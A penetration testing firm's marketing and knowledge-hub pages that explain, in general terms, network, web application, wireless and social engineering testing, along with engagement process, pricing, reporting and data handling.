Knowledge Center

Cybersecurity Knowledge Hub

Expert guidance on penetration testing, vulnerability management, compliance, and building a mature security program — written by the Grid32 team.

Topics

Browse by subject area

Network Penetration Testing

External, internal, and wireless network pentesting — what it is, how it works, methodology, pricing, and what to expect from an engagement.

22 Articles

Web Application Penetration Testing

OWASP methodology, API security, web app testing scope, and how manual testing finds vulnerabilities that automated scanners miss.

4 Articles

Phishing & Social Engineering

Email phishing, vishing, smishing, and physical social engineering — how attacks work and how to test your human layer.

5 Articles

Security Awareness Training

Why training matters, what effective programs include, and how real assessment results drive better security behaviors.

1 Article

Cybersecurity Best Practices

Practical guidance on passwords, Active Directory, Microsoft 365 hardening, and incident response preparation.

5 Articles

Compliance-Driven Security Testing

How NYDFS, SOC 2, PCI DSS, HIPAA, CMMC, and cyber insurance requirements translate into penetration testing obligations.

10 Articles

Ransomware & Incident Response

How ransomware works, common entry points, how testing prevents attacks, and what to do when an incident occurs.

9 Articles

Identity, Access & Network Hardening

MFA, zero trust, network segmentation, least privilege, patch management, EDR, and the controls that prevent most attacks.

13 Articles

Industry-Specific Security

Cybersecurity guidance tailored to financial services, law firms, healthcare, accounting, SaaS, real estate, and manufacturing.

9 Articles

Have a question not covered here?

Our team is happy to answer questions about scope, methodology, or what testing is right for your organization. No obligation.

Network Penetration Testing: The Complete Guide

Everything organizations need to know about network pentesting — what it is, how it works, what to expect, and how to choose the right scope.

Network penetration testing is one of the most effective tools available for proactively identifying security vulnerabilities before attackers can exploit them. This guide covers every aspect of network pentesting — from foundational concepts to practical guidance for organizations preparing for their first — or their fifteenth — engagement.

What Is a Network Penetration Test?

A network penetration test is a controlled, authorized simulation of a cyberattack against your network infrastructure. Certified security engineers use the same tools, techniques, and methodologies that real-world attackers use to probe your defenses, identify weaknesses, and determine how far a malicious actor could penetrate your environment. Unlike passive reviews or compliance checklists, a penetration test is active and adversarial, producing evidence-based findings because our team actually attempts to exploit the vulnerabilities we discover.

Pentest vs. Vulnerability Assessment

These terms are often confused. A vulnerability assessment identifies and catalogs potential weaknesses. A penetration test goes further, attempting to exploit those weaknesses to determine whether they represent genuine, actionable risk. Both are valuable; the right choice depends on your maturity, budget, and compliance requirements.

Types of Network Penetration Tests

Understanding the different areas of testing helps you choose the right engagement for your organization.

External penetration testing — Simulates an internet attacker targeting your perimeter. Learn more →
Internal penetration testing — Simulates a threat already inside your perimeter. Learn more →
Wireless penetration testing — Assesses Wi-Fi security, segmentation, and authentication controls. Learn more →

How the Testing Process Works

Every Grid32 engagement follows a structured testing methodology built around four phases: reconnaissance, scanning and enumeration, exploitation and privilege escalation, and reporting — ensuring consistency, thoroughness, and the operational safety of your environment.

Is Penetration Testing Safe?

When performed by experienced professionals using manual techniques, yes. Grid32 has conducted over 2,500 engagements without a single unintended service disruption. Learn more about safety →

What Does the Report Look Like?

Every engagement concludes with a tiered final report including an executive summary, detailed technical findings, and attestation documentation for auditors and customers.

How Often Should You Test?

Most organizations with mature security programs test annually at minimum. See our frequency recommendations →

Ready to test your network?

Use our online quote builder to scope and price your engagement in minutes. We respond with a Statement of Work within one business day.

Web Application Penetration Testing: The Complete Guide

A comprehensive resource on web app security testing — from OWASP methodology and API testing to what distinguishes a real pentest from an automated scan.

Web applications are among the most targeted assets in any organization. They are internet-facing, complex, and built under constant time pressure — leaving security as an afterthought. Web application penetration testing closes that gap by revealing exactly what an attacker could do to your application before they get the chance to try.

What Is Web Application Penetration Testing?

A web application penetration test is a manual security assessment of your web application, APIs, and underlying architecture. Our engineers attempt to exploit vulnerabilities from the outside — as an unauthenticated attacker — and from within, simulating a credentialed user attempting to escalate access or exfiltrate data.

Why Manual Testing Beats Automated Scanning

Automated scanners miss the vulnerabilities that matter most: business logic flaws, authentication bypasses, complex injection chains, and access control failures that only reveal themselves through human reasoning. Grid32's approach is manual-first. We use tools to assist, not replace, expert judgment.

Areas of Web Application Testing

A thorough web app engagement covers multiple perspectives: unauthenticated external testing, authenticated credentialed testing, and API security testing. Each reveals a distinct category of vulnerabilities.

OWASP and Our Testing Methodology

Grid32's methodology is built around the OWASP Testing Guide — the definitive framework for web application security assessments. This ensures systematic coverage of all major vulnerability classes while leaving room for application-specific attack scenarios.

Working With Your Development Team

We work with your development team, not against them. Our findings include root cause, business impact, and specific remediation guidance so developers can fix issues efficiently without guesswork.

Protect your web application.

Grid32's AppSec engineers have assessed applications of every type and scale. Get a quote in minutes.

Phishing & Social Engineering Testing: The Complete Guide

How social engineering assessments work, what they test, and why the human layer remains the most exploited — and most underprotected — element of any security program.

Technical controls protect systems. Social engineering bypasses them entirely by targeting people. A surprising number of breaches begin not with a sophisticated exploit, but with a single user who clicked a link, read a caller ID, or held a door open. Testing your human layer is not optional — it is essential.

What Is Social Engineering Testing?

Social engineering testing simulates the human-manipulation tactics used by real attackers — including phishing emails, fraudulent phone calls, text message attacks, and in-person physical access attempts — to assess how your staff and detection systems respond. These can be standalone or combined with a network penetration test.

Types of Social Engineering Assessments

Email phishing — Staged campaigns from broad spam to targeted spear-phishing. Learn more →
Phone phishing (vishing) — Live and automated calls impersonating IT, leadership, or vendors. Learn more →
SMS phishing (smishing) — Text-based attacks that exploit lower user skepticism. Learn more →
Physical on-site testing — Attempting facility access through deception. Learn more →

What the Report Covers

Every engagement concludes with a comprehensive social engineering report including campaign statistics, individual-level results where authorized, and prioritized remediation recommendations.

Following Up With Security Awareness Training

Real test results are the most powerful input for security awareness training. Employees who fell for a simulated attack are far more receptive to learning why — and what to do differently.

Test your human layer.

Social engineering is the attack vector most likely to succeed in your organization right now.

Security Awareness Training

Why employee training is a critical layer of your security program and how to use real test data to maximize its impact.

Technical security controls can detect and block many threats — but they cannot fully compensate for a user who has been deceived. Security awareness training equips your staff with the knowledge and habits to recognize threats, respond correctly, and become a genuine line of defense.

Why Security Awareness Training Matters

Human error is a contributing factor in the overwhelming majority of data breaches. The regulatory landscape increasingly demands it too — SOC 2, HIPAA, PCI DSS, CMMC, and many cyber insurance policies require documented security awareness training programs.

Training Tied to Real Results

Generic training has a well-documented problem: employees don't pay attention. Grid32's training is designed to follow a phishing or social engineering assessment. Using the actual results of a real attack against your organization makes the training concrete, personal, and impossible to dismiss.

What Effective Training Covers

Recognizing phishing emails, spear-phishing, and business email compromise
Phone-based social engineering and vishing tactics
Physical security — tailgating, piggybacking, and secure facility practices
Password hygiene and multi-factor authentication
Safe handling of sensitive data and proper incident reporting procedures
Regulatory obligations relevant to your industry

On-Site Training Tailored to Your Organization

Grid32 provides on-site training sessions tailored to your organization's results, size, and industry. We work with your HR, compliance, and IT teams to ensure the program aligns with your existing security policies and meets documentation requirements from auditors or insurers.

Interested in security awareness training?

Contact us to discuss how training can be structured for your organization — as a standalone service or as a follow-up to a social engineering assessment.

Cybersecurity Best Practices

Practical, expert-written guidance on hardening your environment, strengthening access controls, and preparing for security incidents.

Strong penetration testing results are only meaningful if findings get remediated and the underlying environment is maintained at a high baseline of security hygiene. This section covers the practical measures every organization should have in place — independent of whether you've had a pentest.

Password Security and Access Controls

Weak and reused passwords remain one of the most exploited entry points in network penetration tests. Implementing strong password policies, blacklisting predictable terms in both Active Directory and Microsoft 365, and enforcing multi-factor authentication across all remote access are the highest-ROI security investments most organizations can make.

Microsoft 365 Security

M365 default configurations are not hardened. They prioritize usability. Our M365 security recommendations cover critical settings, policies, and monitoring configurations every M365 organization should review.

Preparing for Security Incidents

Most organizations that suffer a significant breach discover, too late, that they had no documented incident response plan. Preparing before an incident occurs is dramatically more effective than improvising during one.

Ready to assess your current security posture?

A Grid32 penetration test will show you exactly where your defenses stand up — and where they need work.

What Is a Penetration Test?

A plain-language explanation of what a penetration test is, how it differs from other security assessments, and why organizations rely on it to validate their defenses.

Network Pentesting5 min read

The Core Definition

A penetration test — often called a pentest or ethical hack — is a controlled, authorized simulation of a cyberattack. A team of certified security engineers uses the same tools, techniques, and tactics that real-world attackers use to probe your network, applications, or personnel for exploitable weaknesses. The goal is simple: find the vulnerabilities before an attacker does, understand how they could be exploited, and provide a clear roadmap for fixing them.

What Makes It Different From a Security Audit?

A security audit reviews policies, procedures, and configurations against a standard or framework. A penetration test is active — engineers actually attempt to exploit discovered weaknesses. Auditing your locks is different from hiring a locksmith to try to pick them. Both have value, but only one tells you whether your locks actually hold.

What Does a Pentest Actually Involve?

A professional penetration test follows a structured testing methodology. At Grid32, that process includes: Reconnaissance, Scanning and Enumeration, Vulnerability Mapping, Exploitation and Privilege Escalation, and Reporting with a full remediation roadmap.

Types of Penetration Tests

External network penetration testing — attacking from the internet
Internal network penetration testing — simulating an insider or post-breach attacker
Wireless penetration testing — assessing Wi-Fi infrastructure
Web application penetration testing — attacking web apps, APIs, and portals
Social engineering and phishing — testing your human layer

How Is a Pentest Different From a Vulnerability Assessment?

A vulnerability assessment scans your environment and produces a list of potential issues. A penetration test goes further, attempting to exploit those issues to determine whether they represent genuine, actionable risk.

Ready to find out what an attacker would find?

Grid32's certified engineers use the same techniques real attackers use — and deliver findings you can act on.

Penetration Test vs. Vulnerability Assessment: What's the Difference?

Two commonly confused security services explained — what each does, when to use each, and which is right for your organization.

Network Pentesting6 min read

The Quick Answer

A vulnerability assessment identifies potential security weaknesses and catalogues them. A penetration test attempts to exploit those weaknesses to prove they represent genuine risk. Both are valuable — but they answer different questions.

What Is a Vulnerability Assessment?

A VA uses automated scanning tools and manual review to identify known vulnerabilities across your environment — unpatched software, misconfigured services, weak cipher suites, and similar issues. VAs are typically faster and less expensive than penetration tests. They work best as a regular hygiene exercise — run quarterly or monthly to catch newly-disclosed vulnerabilities and configuration drift.

What Is a Penetration Test?

A penetration test takes VA output and goes further. Our engineers actively attempt to exploit discovered vulnerabilities, chain multiple weaknesses together, escalate privileges, and move laterally through the environment — exactly as a real attacker would. The result is a demonstrated narrative of what an attacker could actually accomplish.

Key Differences

Depth — A VA identifies issues; a pentest proves they're exploitable
Methodology — VAs rely heavily on automated tools; pentests are primarily manual
Output — VA produces an issue list; pentest produces an attack narrative with evidence
Compliance value — Many frameworks (PCI DSS, SOC 2, CMMC) specifically require penetration testing

Which Should You Choose?

For organizations at an early stage of security maturity, a vulnerability assessment is a good first step. For organizations past the basics, or that face compliance requirements, a penetration test provides the depth a VA cannot. Many organizations run both: regular VAs as an ongoing hygiene measure, with penetration tests annually for deeper validation.

Not sure which you need?

We're happy to review your environment and recommend the right assessment — no obligation.

How Long Does a Penetration Test Take?

Testing timelines vary by scope and complexity. Here's what to expect at each stage — from kickoff to final report delivery.

Network Pentesting4 min read

The Short Answer

Most penetration test engagements — from initial scoping to final report delivery — take between two and four weeks. The active testing phase itself typically runs one to two weeks, depending on scope.

Factors That Affect Timeline

Scope size — Number of IP addresses, hosts, or applications in scope is the primary driver
Test type — External tests are often faster than internal tests
Environment complexity — Complex segmentation or large application codebases require more time
Combined engagements — Combined network and web app or social engineering testing extends the timeline

Typical Timeline Breakdown

Scoping and SOW (1–3 days) — After you submit your quote, Grid32 reviews and issues a Statement of Work
Pre-test coordination (2–5 days) — Confirming scope, authorizations, and technical prerequisites
Active testing (5–10 business days) — Our engineers conduct the engagement
Report writing and QA (3–5 business days) — All findings documented, severity-rated, and reviewed
Report delivery and debrief — Full report package delivered with walkthrough available

Rush Engagements

If you have a compliance deadline or other time-sensitive requirement, contact us to discuss expedited scheduling.

Ready to get started?

Use our online quote builder to scope your engagement. We typically have a Statement of Work back to you within one business day.

How Much Does a Penetration Test Cost?

Penetration test pricing varies widely. Here's what drives cost, what to watch out for, and how to get a transparent number from Grid32.

Network Pentesting5 min read

Why Pricing Varies So Much

Penetration testing pricing varies enormously across the industry — from a few thousand dollars to well over $100,000 — because "penetration test" covers a wide range of scope, methodology, and quality. A report produced by automated scanning tools is fundamentally different from one produced by a senior certified engineer conducting manual testing. Both may be sold as "penetration tests."

What Drives the Cost?

Scope size — Number of external IPs, internal hosts, or web applications in scope
Test type — Internal tests typically cost more than external; combined engagements more than single-scope
Methodology — Manual testing by senior engineers costs more than automated scanning — and is substantially more valuable
Report depth — Tiered reporting with executive summaries and attestation documentation takes more time to produce

Grid32 Pricing

Grid32 offers transparent, scope-based pricing through our online quote builder. You define your scope; we provide a clear price. No discovery calls required. No surprise line items after the SOW.

You Get What You Pay For

The cheapest penetration test is often not a penetration test at all — it's an automated vulnerability scan with a branded PDF wrapper. See our full discussion on pentest pricing →

Get a transparent price in minutes.

Our quote builder lets you define your scope and see your price — no sales call required.

Network Penetration Testing Scope: External, Internal & Wireless

The different areas of network penetration testing explained — what each scope covers and how to choose the right combination.

Network Pentesting6 min read

Why Scope Matters

Network penetration testing isn't one-size-fits-all. A well-scoped engagement targets the areas of your environment that are most exposed, most critical, or most relevant to your compliance requirements.

External Network Penetration Testing

External pentesting simulates an attacker on the internet targeting your perimeter — public IP addresses, web servers, VPN concentrators, mail gateways, DNS infrastructure, and firewall rules. External testing is the recommended starting point for organizations new to pentesting, addressing the most immediately exposed attack surface. Learn more →

Internal Network Penetration Testing

Internal pentesting simulates a threat that has already bypassed the perimeter — an insider, compromised remote worker, or attacker who gained initial access via phishing. Internal tests frequently uncover the most severe findings, because internal networks are often significantly less hardened than external-facing systems. Learn more →

Wireless Network Penetration Testing

Wireless testing assesses encryption standards, network segmentation, rogue access point detection, and authentication controls. Many organizations are surprised to find that their wireless network provides an easy path into their internal environment. Learn more →

Combining Scopes

A combined external and internal engagement reflects the reality of how most breaches unfold: an initial perimeter breach followed by lateral movement. Grid32 offers flexible scoping — build your custom quote online or contact us to discuss what combination makes sense.

Not sure what scope is right for you?

Our team is happy to review your environment and recommend a testing scope that fits your risk profile and budget.

External Network Penetration Testing

What external penetration testing covers and why every organization with an internet presence should regularly test their external attack surface.

Network Pentesting5 min read

What Is External Penetration Testing?

External penetration testing simulates the perspective of an attacker on the open internet — someone with no prior access who is probing your external attack surface for a way in. Our engineers conduct this test entirely from outside your network, targeting every internet-exposed asset associated with your organization.

What External Testing Covers

All public IP addresses and associated services
Web servers, web applications, and public portals
VPN and remote access infrastructure
Email and mail transfer infrastructure
DNS configuration and zone security
Firewall and edge device exposure
SSL/TLS configuration and certificate validity
OSINT — what publicly available information could assist an attacker?

Why External Testing Is a Critical Starting Point

Your external attack surface is the front door that every attacker on the internet can knock on. Most organizations that have never had a formal external test have at least one significant finding — often more.

How Often Should You Test Externally?

We recommend annual external testing at minimum, with additional testing after significant infrastructure changes — new services launched, acquisitions, cloud migrations, or changes in your IP space. Many compliance frameworks require annual external testing explicitly.

Find out what attackers see when they look at your organization.

An external penetration test gives you a clear, evidence-based picture of your internet-facing exposure.

Internal Network Penetration Testing

What internal penetration testing simulates and why most organizations find their most severe vulnerabilities inside the perimeter, not outside it.

Network Pentesting6 min read

What Is Internal Penetration Testing?

Internal penetration testing simulates a threat actor who has already gained access to your internal network — whether through a phishing attack, stolen credentials, a compromised remote connection, or a malicious insider. Our engineers connect directly to your internal environment and attempt to enumerate systems, exploit weaknesses, escalate privileges, and access sensitive data.

Why Internal Testing Reveals the Most Severe Findings

Many organizations invest heavily in perimeter security but leave their internal networks comparatively flat and unprotected. Once inside, an attacker often finds few barriers between a standard workstation and highly sensitive assets like domain controllers, file servers, databases, and financial systems. Internal tests regularly uncover misconfigurations, unpatched systems, overly permissive access controls, and lateral movement paths that would allow an attacker to compromise an entire domain from a single initial foothold.

What Internal Testing Covers

Active Directory enumeration and privilege escalation
Lateral movement and credential harvesting
Internal network segmentation assessment
Unpatched or misconfigured internal services
Access to sensitive data, shares, and databases
Detection and response testing — how long before your team notices?

Your perimeter is only as strong as what's behind it.

Find out what an attacker could do once inside your network before they get the chance.

Wireless Network Penetration Testing

Why wireless network security is often overlooked, what wireless penetration testing assesses, and what common findings look like.

Network Pentesting5 min read

Why Wireless Security Deserves Its Own Assessment

Wireless networks introduce a unique threat model: an attacker doesn't need to be inside your building to attack. Anyone within radio range — in your parking lot, your lobby, or the building next door — can attempt to access your wireless network. Yet wireless is frequently the least-scrutinized part of most organizations' network security.

What Wireless Penetration Testing Covers

Encryption and authentication — Are you using WPA2 or WPA3 Enterprise? Any legacy WEP or WPA Personal devices?
Network segmentation — Is your guest network truly isolated from your corporate network?
Rogue access point detection — Are there unauthorized access points connecting to your network?
Evil twin attacks — Can an attacker create a spoofed network that devices connect to automatically?
Credential attacks — Can wireless authentication credentials be captured and cracked?

Combining Wireless With Network Testing

Wireless testing is most valuable when combined with an internal network penetration test. Once an attacker gains wireless access, the next step is lateral movement — testing both together provides a complete picture of the risk.

Is your wireless network a gap in your defenses?

Grid32's wireless penetration testing gives you a definitive answer — and the roadmap to fix any issues found.

How the Penetration Testing Process Works

A step-by-step walkthrough of the Grid32 engagement process — from quote to final report delivery.

Network Pentesting6 min read

Phase 1: Scoping and Quoting

Every engagement begins with scoping — defining exactly what systems, applications, and users are in scope. Grid32 offers an online quote builder that lets you define your scope and receive a price without a sales call. We review and issue a Statement of Work typically within one business day.

Phase 2: Pre-Test Coordination

After the SOW is executed, we schedule the engagement and exchange technical prerequisites. For internal tests: VPN or on-site access. For web app tests: test account credentials. We confirm rules of engagement — what's in scope, emergency contacts, and any systems requiring special handling.

Phase 3: Reconnaissance

Our engineers gather information about the target using both passive techniques (OSINT, DNS, certificate transparency logs) and active techniques (network scanning, service enumeration). The goal: develop a comprehensive map of the attack surface before exploitation begins.

Phase 4: Scanning and Enumeration

We systematically probe all in-scope systems to identify running services, versions, and configurations — producing a detailed inventory and initial identification of exploitable weaknesses.

Phase 5: Exploitation and Privilege Escalation

Our engineers attempt to exploit discovered vulnerabilities, chain issues together, escalate privileges, and move laterally through the environment. Every successful exploitation is documented with evidence. We never cause damage or data loss — the goal is proof of impact.

Phase 6: Reporting

All findings are compiled into a comprehensive report — every vulnerability ranked by severity with evidence, business impact assessment, and specific remediation guidance. Reports are reviewed internally before delivery.

Phase 7: Debrief and Remediation Support

We walk through findings with your team, answer questions, and help prioritize your response. Many clients return for a follow-up assessment after remediation to verify that issues have been resolved.

The process is straightforward. The results are actionable.

Start your engagement with an online quote — no sales calls, no pressure.

What Does a Penetration Test Report Include?

Grid32 delivers tiered, multi-audience reports — from board-level executive summaries to granular technical findings. Here's what to expect.

Network Pentesting5 min read

Why Report Quality Matters

A penetration test is only as valuable as the report that comes out of it. A list of CVE numbers and CVSS scores is not a roadmap for improvement — it's noise. Grid32's reports are designed to be genuinely useful to every audience that needs to act on them.

Executive Summary

Written for C-suite leaders and board members who need to understand business implications without technical detail. It includes an overall risk assessment, the most significant findings in plain language, and a high-level remediation priority summary. Many clients use this section directly in board presentations or risk committee reports.

Detailed Technical Report

Designed for CISOs, IT directors, compliance officers, and security leadership. It provides a full inventory of all findings, organized by severity, with: detailed vulnerability descriptions, step-by-step evidence of exploitation, severity ratings and CVSS scores, business impact assessment, specific actionable remediation guidance, and prioritization recommendations.

Attestation and Client-Facing Reports

For organizations that need to demonstrate their security posture to customers, auditors, or regulators, Grid32 provides attestation reports and client-summary documents. Learn more about attestation reports →

Remediation Verification

After you've addressed findings, we offer follow-up verification testing to confirm that vulnerabilities have been remediated effectively — particularly valuable before audit cycles.

Reports your board can present. Reports your engineers can act on.

Grid32's tiered reporting ensures every stakeholder gets the information they need in the format they need it.

Is Penetration Testing Safe? Will It Cause Downtime?

The most common concern about pentesting addressed directly — what the risks are, how they're managed, and Grid32's zero-disruption track record.

Network Pentesting5 min read

The Short Answer

Yes — when performed by experienced professionals using manual methodologies, penetration testing is safe. Grid32 has conducted over 2,500 engagements across networks, web applications, and social engineering scenarios without a single unintended service disruption. Our safety record is not an accident — it's the result of deliberate methodology.

Why Automated Tools Create Risk

The primary risk in penetration testing comes from automated scanning tools that send high volumes of requests to services that may not handle them gracefully. Grid32's methodology is manual-first. Our engineers understand the potential impact of each technique before applying it, and avoid anything that could cause service disruption in a production environment.

Testing Windows and Scheduling

For organizations with business continuity concerns, we can schedule intensive testing phases during off-hours, weekends, or maintenance windows. We work around your operational requirements.

Emergency Stop Protocols

Every engagement includes a designated point of contact at your organization who can halt testing immediately if needed. Established before testing begins as part of our standard rules of engagement.

What We Never Do

Delete, modify, or exfiltrate production data
Deploy persistent malware on in-scope systems
Use exploits known to cause system crashes in production environments
Continue testing if unexpected system instability is observed

Test your defenses without disrupting your business.

Grid32's manual methodology ensures thorough testing with zero operational risk.

Should I Notify IT Staff and Employees Before Testing?

A nuanced question with legitimate considerations on both sides — and guidance on how to decide what's right for your engagement.

Network Pentesting5 min read

It Depends on What You're Trying to Measure

Whether to notify your IT team and employees before a penetration test depends on your objectives. There are good reasons to go either way, and the right answer often involves partial disclosure — telling some people but not others.

The Case for Notifying IT Staff

Notifying your IT team allows them to: be prepared to assist if needed, avoid unnecessarily responding to testing activity as a real incident, and handle automated blocking systems (IPS, EDR, SIEM alerts) appropriately. Most network penetration tests involve notifying at least a small group of IT leadership who serve as points of contact.

The Case for Blind Testing

If one of your objectives is to test your incident detection and response capabilities — how quickly your team notices an attacker, and how effectively they respond — then notifying IT defeats the purpose. Blind or "red team" engagements specifically withhold information from IT staff to assess real detection capability.

Social Engineering: The Notification Decision Matters Most

For social engineering assessments, the decision is particularly consequential. Notifying employees before a phishing campaign eliminates its value entirely. Most clients choose not to notify staff prior to social engineering testing — but do notify HR and select leadership so they can manage any employee concerns that arise.

Our Recommendation

For most network penetration tests: notify a small group of IT leadership but not the broader team. For social engineering: don't notify staff, but notify HR and select leadership. We'll discuss the right approach for your specific engagement before testing begins.

Not sure how to set up your engagement?

We're happy to walk through the options and help you design the most valuable test for your organization.

Grid32 Works With Your IT Team — Not Against Them

Why penetration testing is not a reflection on IT performance, and how we work collaboratively to deliver value for everyone involved.

Network Pentesting4 min read

A Common Misconception

Some IT leaders are apprehensive about penetration testing because they worry about what it might imply about their team's performance. The honest answer: almost every penetration test finds significant issues, in almost every organization, regardless of how capable the IT team is. This is not a reflection on the team — it's a reflection on the inherent complexity of securing modern IT environments under real operational constraints.

Security vs. Functionality: An Inherent Tension

IT teams are under constant pressure to make systems accessible, easy to use, and functional. Those objectives are often in direct tension with security hardening. An independent security assessment isn't a verdict on IT. It's a tool that gives IT the specific, evidence-based findings they need to make the case for remediation investment and get proper attention from leadership.

The CFO / CPA Analogy

Just as a CFO relies on an independent CPA firm to audit financials — not because the CFO is doing anything wrong, but because independence adds credibility — IT and security leaders benefit from an independent penetration test that validates their environment and surfaces issues with an outside perspective that internal teams cannot replicate.

How We Work With Your Team

Throughout every engagement, we maintain open communication with your designated contacts. Our reports include specific, actionable remediation guidance written for technical teams — not vague recommendations that leave engineers guessing.

A pentest is an investment in your team, not an audit of them.

Give your IT team the independent validation and roadmap they need.

How Often Should Your Organization Conduct Penetration Testing?

Testing frequency recommendations based on industry, risk profile, compliance requirements, and the pace of change in your environment.

Network Pentesting5 min read

The Baseline: Annual Testing

For most organizations, annual penetration testing is the recommended minimum. A year is long enough for meaningful changes to accumulate — new services, configuration drift, new attack techniques, newly-disclosed vulnerabilities — that a fresh test will find new issues even if last year's findings have been fully remediated.

When to Test More Frequently

Compliance requirements — PCI DSS requires annual external testing and testing after significant changes. CMMC and financial regulations may require similar frequency.
High-risk industries — Financial services, healthcare, legal, and government contractors often justify semi-annual or quarterly testing cycles.
Rapid environment change — If your infrastructure or application stack changes significantly, test again after those changes — don't wait for the annual cycle.
Following a security incident — After a breach or near-miss, testing should occur as part of the remediation and validation process.
Mergers and acquisitions — Before integrating an acquired organization's network, test it independently.
Cyber insurance requirements — Some insurers now require periodic penetration testing as a policy condition.

Building a Testing Program

The most mature security programs treat penetration testing as an ongoing program rather than a one-time event. Grid32 offers multi-engagement and recurring testing packages for organizations building structured programs. Contact us to discuss program options →

Build a testing program that keeps pace with your risks.

Grid32 works with organizations of all sizes to establish the right testing cadence.

How Grid32 Protects Your Data During a Penetration Test

What data we access, how it's handled, and the security measures that protect your organization's information throughout every engagement.

Network Pentesting4 min read

What Data Grid32 Accesses

During a penetration test, our engineers may access data as a natural consequence of testing, for example demonstrating that a vulnerability allows access to a database or file share. We document findings as proof of exploitability but do not copy, retain, or transmit client data beyond what is necessary to demonstrate the finding.

Confidentiality and Data Handling

All Grid32 engagements are subject to mutual non-disclosure agreements. Testing notes, screenshots, and evidence are retained only for the duration of the engagement and report production, then securely destroyed. Deliverables are transmitted via encrypted channels.

Background-Checked, U.S.-Based Staff Only

Every Grid32 engineer undergoes a thorough background check before joining our team. All staff are U.S.-based direct employees — no offshore contractors, subcontractors, or third parties. Your data never leaves a controlled environment staffed by vetted professionals.

We Never Share Your Information

Grid32 does not share, sell, or disclose any client information, including the fact that you're a client, to any third party. Contact information is never used for marketing or solicitations.

Questions about how your data is handled?

We're happy to discuss our data handling practices, NDA terms, and security measures before you engage.

Why Choose Grid32 for Penetration Testing?

What sets Grid32 apart from the dozens of firms offering penetration testing services — and why the difference matters for your organization.

Network Pentesting5 min read

Specialists, Not Generalists

Many cybersecurity firms offer penetration testing as one service among dozens. For these firms, pentesting is a line item. For Grid32, it's everything. Our entire team, methodology, and culture is built around one discipline: finding the vulnerabilities in your environment that an attacker would exploit.

Eighteen-Plus Years of Focused Experience

Grid32 was founded in New York City in 2009. We've conducted over 2,500 engagements across financial services, healthcare, legal, technology, government contracting, and many other sectors. That depth of experience means our engineers have seen — and exploited — virtually every attack pattern in production environments.

Manual-First Methodology

We use tools to assist our engineers — not to replace them. This means we find vulnerabilities that scanners miss, and we understand the full business impact of every finding we deliver.

Elite, Certified, U.S.-Based Team

Our engineers hold CISSP, GPEN, GXPN, OSCP, OSCE, CDPSE, CCIE, and other advanced certifications. All are U.S.-based direct employees — no offshore contractors, no subcontractors. Every engineer has been background-checked and is a full-time Grid32 team member.

Zero Service Disruptions

One thousand-plus engagements. Zero unintended service disruptions. That record is a direct result of our manual methodology and our engineers' discipline in understanding the potential impact of every technique before applying it.

Experience the difference that specialization makes.

Build your quote online and see why leading organizations rely on Grid32.

Grid32 Employs U.S.-Based Engineers Only — No Outsourcing, No Offshore

Why it matters that the people conducting your penetration test are vetted, U.S.-based professionals.

Network Pentesting4 min read

A Policy We Never Compromise On

Every Grid32 engineer is a U.S.-based direct employee. We do not use offshore contractors, subcontractors, staffing agencies, or any third-party delivery model. Every person who accesses your network, tests your applications, or contacts your staff during a social engineering engagement is a full-time Grid32 team member who has passed a comprehensive background check.

Why This Matters for Security

Penetration testing requires privileged access to your most sensitive systems. During an internal network test, our engineers have domain-level access equivalent to a privileged insider. The integrity of everyone who touches your engagement is not a secondary concern. It is the foundation of the entire trust relationship.

Compliance Implications

For organizations subject to ITAR, CMMC, FedRAMP, or other government contracting requirements, the use of offshore personnel in security testing may create compliance violations. For financial institutions, healthcare organizations, and legal firms handling highly confidential data, the chain of custody over that data during a test matters.

Background Checks and Vetting

Every Grid32 engineer undergoes a thorough background check as a condition of employment. Many of our engineers come from backgrounds in government, defense, and critical infrastructure where security clearances are standard.

Know exactly who's on your network.

Grid32's team is vetted, certified, and U.S.-based — every time, without exception.

Who Fixes the Issues Found in a Penetration Test?

Clarifying the division of responsibility between your penetration testing firm and your internal team.

Network Pentesting4 min read

Grid32 Finds the Issues — Your Team Fixes Them

Grid32's role is to identify vulnerabilities, demonstrate their exploitability, explain their business impact, and provide specific guidance on how to remediate them. Implementing those fixes is the responsibility of your IT and development teams — or your managed service provider if you use one.

How Our Reports Make Remediation Easier

Grid32's remediation guidance is written to be actionable, not abstract. For each finding, we provide: the specific vulnerability and its root cause, recommended remediation steps with specific configuration changes or patch versions where applicable, priority level so your team knows what to fix first, and references to vendor advisories and industry standards.

Post-Remediation Verification

Many clients engage Grid32 for a follow-up verification assessment after remediation is complete — particularly before an audit cycle, a compliance deadline, or before sharing an attestation report with customers. This confirms that findings have been properly addressed and provides documented evidence of remediation.

What If We Don't Have the Internal Resources?

If your organization lacks the internal technical resources to remediate findings, we can recommend trusted managed service providers or refer you to specialists in specific areas. We're invested in your security outcomes beyond the delivery of the report.

Clear findings. Actionable guidance. Measurable improvement.

Grid32's reports are built to drive real remediation — not to sit in a folder.

Can Grid32 Test Infrastructure Outside the United States?

Guidance for organizations with international infrastructure who need penetration testing across multiple geographies.

Network Pentesting4 min read

The Short Answer: Yes, With Proper Coordination

Grid32 can test infrastructure hosted or located outside the United States. External penetration testing of internet-facing assets is inherently geography-agnostic — we test your IP addresses and domains regardless of where the underlying servers are physically located.

Considerations for International Testing

Legal authorization — You must have full legal authority to authorize testing of all in-scope systems. Written authorization from appropriate parties is required before testing begins.
Data residency and privacy laws — GDPR and other jurisdictions have specific requirements that may be relevant to how testing evidence is handled.
Network accessibility — Internal testing of geographically distributed networks may require coordination around VPN access or remote connectivity.
On-site testing — Physical social engineering assessments at international locations require separate coordination and are scoped separately.

If you have international infrastructure to include in your engagement scope, contact us before building your quote. We'll work through the requirements together.

International infrastructure? We can help.

Contact our team to discuss your international testing needs and how to scope them correctly.

Why Is This Penetration Test Price So High — or So Low?

Understanding the relationship between price and quality in penetration testing, and what to look for when evaluating proposals.

Network Pentesting6 min read

Penetration Testing Price Ranges Vary Enormously

It's not uncommon for organizations to receive proposals ranging from $2,000 to $50,000+ for what appears to be the same service. Understanding what drives that variance is essential to evaluating proposals intelligently.

Why Some Pentests Are Very Inexpensive

Automated scanning, not manual testing — Automated tools can run against your environment in hours. The report is generated by software, not written by an engineer. This is a vulnerability scan with a branded PDF wrapper — not a penetration test.
Offshore delivery — Significantly less expensive, but introduces supply chain risk, accountability gaps, and potential compliance issues.
Junior or uncertified staff — Experienced, certified penetration testers are expensive to employ. Some firms substitute junior analysts with limited offensive security experience.
Shallow scope — A low price may reflect a very narrow scope that misses significant portions of your environment.

Why Some Pentests Are Very Expensive

